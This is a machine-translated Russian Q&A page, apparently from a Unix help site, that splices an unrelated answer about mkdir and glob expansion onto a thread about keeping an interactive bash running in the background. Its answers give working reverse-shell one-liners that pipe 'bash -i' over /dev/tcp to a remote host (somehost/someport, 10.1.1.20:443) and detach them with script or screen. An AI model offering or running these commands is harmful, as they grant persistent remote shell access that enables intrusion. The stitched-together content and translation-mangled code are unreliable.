Оболочка возрождения на заднем плане

Подстановочный знак всегда расширяется до существующих имен.

Ваша команда mkdir *не удалась, потому что имена, которые раскрываются *, уже существуют.

Ваша команда mkdir *.d"сбой", потому что *.dне соответствует ни одному существующему имени. Таким образом, по умолчанию шаблон остается нераскрытым 1 и создается каталог с именем *.d. Вы можете удалить это с помощью rmdir '*.d'.

Создать каталог для каждого обычного файла в текущем каталоге, чтобы новые каталоги имели то же имя, что и файлы, но с суффиксом .d:

for name in./*; do
    if [ -f "$name" ]; then
        # this is a regular file (or a symlink to one), create directory
        mkdir "$name.d"
    fi
done

или, для тех, кто любит "один -лайнеров",

for n in./*; do [ -f "$n" ] && mkdir "$n.d"; done

В bashвы также можете сделать

names=(./* )
mkdir "${names[@]/%/.d}"

но это не проверяет, являются ли вещи, в которые расширяется glob, обычными файлами или чем-то еще.

Начальный ./в приведенных выше командах предназначен для защиты от имен файлов, содержащих начальный дефис(-)в именах файлов. В противном случае тире и символы, следующие за ним, интерпретировались бы как опции для mkdir.


1Некоторые оболочки имеют опцию оболочки nullglob, которая приводит к тому, что не совпадающие -подстановочные знаки оболочки заменяются пустой строкой. В bashэто включается с помощью shopt -s nullglob.

2
21.09.2020, 19:17
2 ответа

Это происходит потому, что интерактивный процесс оболочки проверяет, находится ли он в группе процессов переднего плана на своем управляющем терминале, и если это не так, он уничтожает себя с помощью SIGTTIN, сигнала, который его останавливает. Если его stderr и stdin были перенаправлены в другое место, он откроет /dev/ttyнапрямую, чтобы получить fd на свой управляющий терминал.

Это код, который делает это в тире, но bash делает то же самое:

                do { /* while we are in the background */
                        if ((pgrp = tcgetpgrp(fd)) < 0) {
out:
                                sh_warnx("can't access tty; job control turned off");
                                mflag = on = 0;
                                goto close;
                        }
                        if (pgrp == getpgrp())
                                break;
                        killpg(0, SIGTTIN);
                } while (1);

Перенаправление стандартного fds оболочки из других файлов НЕ отсоединяет его от управляющего терминала.

Предполагаемый трюк с «удаленной оболочкой» из ОП даже отдаленно не надежен или практичен; вам может повезти больше, если вы завернете его в команду, которая создает псевдо-терминал -, напримерscript:

script -c 'bash -i' /dev/null </dev/tcp/somehost/someport >&0 2>&1 &
2
18.03.2021, 23:03

Я не могу объяснить, почему bashотказывается работать в фоновом режиме с-i(интерактивным флагом ), когда stdin , stdout и stderr все перенаправлены. Однако, чтобы ответить на главный вопрос, вы можете начать процесс через screenили tmux

.
screen -md bash -c 'bash -i >/dev/tcp/10.1.1.20/443 2>&1 0<&1'

Флаги -mи -dуказывают screenначать новый отсоединенный процесс. Подробнее см. man screen.

0
18.03.2021, 23:03

Теги

Похожие вопросы